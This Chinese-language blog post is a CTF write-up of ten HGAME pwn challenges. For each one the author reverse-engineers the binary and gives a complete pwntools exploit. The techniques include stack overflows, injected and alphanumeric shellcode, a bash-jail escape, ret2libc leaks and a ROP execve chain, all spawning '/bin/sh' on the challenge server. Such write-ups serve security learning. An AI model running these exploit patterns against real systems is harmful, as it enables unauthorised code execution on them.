HGAME 2017 or 2018 PWN levels

这个算是做之前的复现吧,感谢Veritas501

WEEK1

1.flag server

拖进IDA看一下

流程倒着看,要有flag-----v8=1-----v5=v6-----s1=admin,我们可以把s1覆盖掉-----username长度不能大于63,不能等于0-----之后还要猜出随机数v6,看一下怎么覆盖

这些变量都在一起,美滋滋

exp

from pwn import *

cn=remote('111.230.149.72',30001)

cn.sendline('xiaoyuyu')
cn.recvuntil("your username length: ")
cn.sendline('-1')
payload='a'*(0x50-0x10)+p64(1)
cn.recvuntil("whats your username?")
cn.sendline(payload)
cn.interactive()

2.guess number

scanf直接溢出就好了,如下

a1和nptr的偏移量 0x10C+0x8

exp

from pwn import *

cn=remote('111.230.149.72',30002)

cn.sendline("xiaoyuyu")

payload='0'*(0x10C+0x8)+p64(0)

cn.send(payload)

cn.interactive()

3.zazahui

这次有两个文件,古天乐和正常的

拖进IDA

里面两个函数,第一个是个file open之类的,读取flag和ad的值,第二个函数如下

感觉没啥溢出的地方,跟进函数sub_8048634

基本可以猜测出就是个read函数,范围是188,我们可以看到s1的范围从0xC0到0x10,只有176,那么这个函数就溢出了,把读取的地址改到flag的地址,同时有一点要注意,要把v3变成100,不然flag读不出来

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
        cn = process('./zazahui')
        bin = ELF('./zazahui')
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
        cn = remote('111.230.149.72',30003)
        bin = ELF('./zazahui')
        libc = ELF('./libc32.so')


def z(a=''):
        gdb.attach(cn,a)
        if a == '':
                raw_input()

cn.sendline("xiaoyuyu")
flag_addr=0x0804A060
payload='a'*176+p32(flag_addr)+p32(100)
cn.recvuntil('> ')
cn.sendline(payload)

cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780

WEEK2

4.bash jail

可还行,拖进IDA看一下

我第一反应是把Lineptr改成/bin/sh

分析一下里面的函数,400706里面的意思是如果开头输入的是(a,b,c,f,h,g,i,l,n,s,t,*)会输出hacker!! go away~~ QAQ

那我们输入数字试一下,情况如下

大概了解了,应该是shell的脚本,在shell里面有如下这些

我就试着$0,然后打我想要的指令,竟然成功了,原理要是不是这样的,不要喷我,请指正

exp

from pwn import *

cn=remote('111.230.149.72',30004)

#cn=process('./bash_jail')
cn.sendline('xiaoyuyu')
cn.recvuntil('> ')

payload='$0'
cn.sendline(payload)
cn.interactive()

5.ez shellcode

开启了栈保护,去IDA看看

system函数之类的貌似都没有,猜测要泄露,不过看见直接可以直接执行我们要的shellcode,那就直接造一个就好了

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
        cn = process('./ez_shellcode')
        bin = ELF('./ez_shellcode')
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
        cn = remote('111.230.149.72',30005)
        bin = ELF('./ez_shellcode')
        libc = ELF('libc32.so')

cn.sendline('xiaoyuyu')
cn.recvuntil('> ')
payload=asm(shellcraft.sh())
cn.sendline(payload)
cn.interactive()

6.hacker system ver1

这四个功能里肯定有问题,找溢出点,拖进IDA逐个分析

exit函数没啥用,就是个exit(0)

然后没有system函数之类的,这回真要泄露了,先泄露某个函数的got,然后与libc中对比找偏移量,然后把system函数和/bin/sh的内存地址都找出来

里面有个函数叫read_n的函数,可以读取我们想到字节长度的数据,add和del函数中都有的,但是del里面的用起来方便一点,就选择了del的,本来想有一个write之类的函数来泄露一下,但没有,就拿puts函数的地址来泄露,其实都一样,至于read_n函数要读取的size大小,自己算一下就好了

具体做法:

1.在read_n中填充s1的空间,并覆盖掉ebp;

2.修改eip为puts的函数地址,让其执行,然后泄露我们想要的地址,并将puts函数的返回地址再次改为主函数以便我们继续利用;

3.通过泄露的地址来与libc文件中的地址进行对比,算出偏移量,一边找出system函数和/bin/sh的在内存中的真实地址

4.再次溢出read_n函数,执行我们需要的函数system

注:我自己后来泄露puts_got表地址不行,就换成别的函数了,就可以了,也是迷,而且直接把

但是一直都不行,我起初以为是del怎么了,就换成了print,后来参考了别人的的值,发现应该是需要将自己的rop放在bss字段上可以读的位置上去才行,也算是绕了个弯,反正也是神奇,有些地方就不会,emmmm

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
        cn = process('./hacker_system_ver1')
        bin = ELF('./hacker_system_ver1')
        #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
        cn = remote('111.230.149.72',30007)
        bin = ELF('./hacker_system_ver1')
        libc = ELF('libc32.so')


def z(a=''):
        gdb.attach(cn,a)
        if a == '':
                raw_input()


cn.recvuntil('Input your token:')
cn.sendline('xiaoyuyu')
printf_addr=0x08048A20
main_addr=0x08048C1D

padding='a'*(0x34+0x04)
payload=padding+p32(bin.plt['puts'])+p32(main_addr)+p32(bin.got['__libc_start_main'])
cn.recvuntil('>')
cn.sendline('2')
cn.recv()
cn.sendline('100')
cn.recv()
cn.sendline(payload)

cn.recvuntil('\n')

start_main_addr = u32(cn.recv(4))
print hex(start_main_addr)


base=start_main_addr-libc.symbols['__libc_start_main']
system_addr=base+libc.symbols['system']
bin_sh=base+libc.search('/bin/sh').next()

payload2=padding+p32(system_addr)+p32(0xdeadbeaf)+p32(bin_sh)
cn.recvuntil('>')
cn.sendline('2')
cn.recv()
cn.sendline('100')
cn.recv()
cn.sendline(payload2)
cn.interactive()

#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780

7.ez_shellcode

这题不知道和第五题有什么联系,拖进IDA看一下

分析一波,就是buf不能是A~Z,1~9,不然就break,但是break出去好像正是我们想要的

仅限制shellcode是a~zA~Z0~9范围内,这样的shellcode叫alpha shellcode,利用msfencode可以生成,真的是学到了

链接:https://blog.csdn.net/v_ling_v/article/details/42824007

exp

from pwn import *
cn=remote('111.230.149.72',30006)
cn.sendline('xiaoyuyu')
cn.recvuntil('> ')
cn.sendline('''PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA''')
cn.interactive()

这题还没有能力纠结太久,说起来也惭愧,只能拿别人做好的shellcode来用

WEEK3

8.hacker system ver2

这一题就是把32位改成64位,注意一下参数传递的顺序就好了

exp

#coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
	cn = process('./hacker_system_ver2')
	bin = ELF('./hacker_system_ver2')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
	cn = remote('111.230.149.72',30009)
	bin = ELF('./hacker_system_ver2')
	libc = ELF('./libc64.so')


def z(a=''):
	gdb.attach(cn,a)
	if a == '':
		raw_input()


rdi_addr=0x0000000000400fb3
main_addr=0x0000000000400E80
payload='a'*(0x30+0x08)+p64(rdi_addr)+p64(bin.got['__libc_start_main'])+p64(bin.symbols['puts'])+p64(main_addr)

cn.recvuntil('> ')
cn.sendline('2')
cn.recvuntil('searched by name, input name length:')
cn.sendline('300')
cn.recvuntil('name:')
cn.sendline(payload)

cn.recvuntil('\n')
base=u64(cn.recv(6)+'\x00'*2)-libc.symbols['__libc_start_main']
system_addr=libc.symbols['system']+base
bin_sh=libc.search('/bin/sh').next()+base


payload2='a'*(0x30+0x08)+p64(rdi_addr)+p64(bin_sh)+p64(system_addr)+'aaaaaaaa'
cn.recvuntil('> ')
cn.sendline('2')
cn.recvuntil('searched by name, input name length:')
cn.sendline('300')
cn.recvuntil('name:')
cn.sendline(payload2)

cn.interactive()


cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780

9.message saver

乍一看和之前的差不多,但是凭直觉觉得是堆,看完真的是堆,看一下哪里有问题吧,如下

这里显然是可以double free的,我们需要的函数也有,如下

看一下我们malloc的结构,我是结合IDA和程序执行流程直接猜的

可以看到add的时候,创建了两个chunk

第二个chunk结构大概是:ptr|message|encode

我们删掉之后没有赋0,因此可以修改或者覆盖后后继续调用

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
	cn = process('./message_saver')
	bin = ELF('./message_saver')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
	cn = remote('111.230.149.72',30010)
	bin = ELF('./message_saver')
	libc = ELF('libc64.so')


def z(a=''):
	gdb.attach(cn,a)
	if a == '':
		raw_input()

key=0x0000000000400816
payload='a'*0x10+p64(key)

#cn.recv()
#cn.sendline('xiaoyuyu')

cn.recvuntil('> ')
cn.sendline('1')
cn.recvuntil('input message length:')
cn.sendline('24')
cn.recvuntil('input message:')
cn.sendline('xiaoyuyu')
cn.recvuntil('===')
cn.sendline('2')

cn.recvuntil('>')
cn.sendline('4')

cn.recvuntil('>')
cn.sendline('2')
cn.recvuntil('input message length:')
cn.sendline('24')
cn.recvuntil('input message:')
cn.sendline(payload)

#cn.recvuntil('>')
#cn.sendline('3')

cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780

10.calc

这不会也是堆溢出之类的吧,拖进IDA看看,反正功能还是可以看出来是一个计算器

我自己找溢出找了半天…………后来发现有个变量没有限制,如下

然后这个文件还有一个特点,就是他是一个静态链接的文件,我刚开始是完全不知道要干嘛的,然后看了别人的WP,说可以用rop chain来搞定,目前还不太清楚原理,只知道算是shellcode的一种吧?还没弄懂

不管,先看一下溢出的偏移量,如下

偏移量就是0x110-0x10=0x100

第一种方法最无脑,利用ROPgadget的ropchain功能,对于静态编译的程序,很容易可以生成一个rop链,将rop链覆盖在返回地址处即可,缺点就是这种自动ropchain一般性很长,如果有一些情况限制了长度就会有麻烦,这题倒不用考虑这一点

ROPgadget --binary calc --ropchain就可以自动生成,结果如下

emmmmm,的确是比较长

exp

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
	cn = process('./calc')
	bin = ELF('./calc')
	#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
	cn = remote('111.230.149.72',30008)
	bin = ELF('./calc')
	libc = ELF('libc32.so')


def z(a=''):
	gdb.attach(cn,a)
	if a == '':
		raw_input()


from struct import pack

# Padding goes here
p = 'a'*0x100
p+=p32(0x40)
p+=p32(0)
p+='a'*0xc
	
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8446) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8446) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049603) # xor eax, eax ; ret
p += pack('<I', 0x080551fb) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080dee5d) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08056ad3) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049603) # xor eax, eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0807b01f) # inc eax ; ret
p += pack('<I', 0x0806d445) # int 0x80

for i in range(len(p)/4):
    cn.sendline('1')
    cn.recvuntil('a:')
    cn.sendline('0')
    cn.recvuntil('b:')
    cn.sendline(str(u32(p[4*i:4*i+4])))
    cn.sendline('5')

cn.sendline('6')
cn.interactive()
#local x64: main_arena = 0x3c4b20
#local x86: main_arena = 0x1b2780

其实就是每一次add的时候修改一些eip,最后在exit时,被修改的eip就会跳转到我们想执行的指令上去,为什么每次只读4个字节主要是因为输入的范围不能超过int的范围,而且毕竟是32位的程序,ropchain中的指令所在的地址每条也是四个字节大小的

猜你喜欢

转载自blog.csdn.net/qq_42192672/article/details/83859936
pwn
今日推荐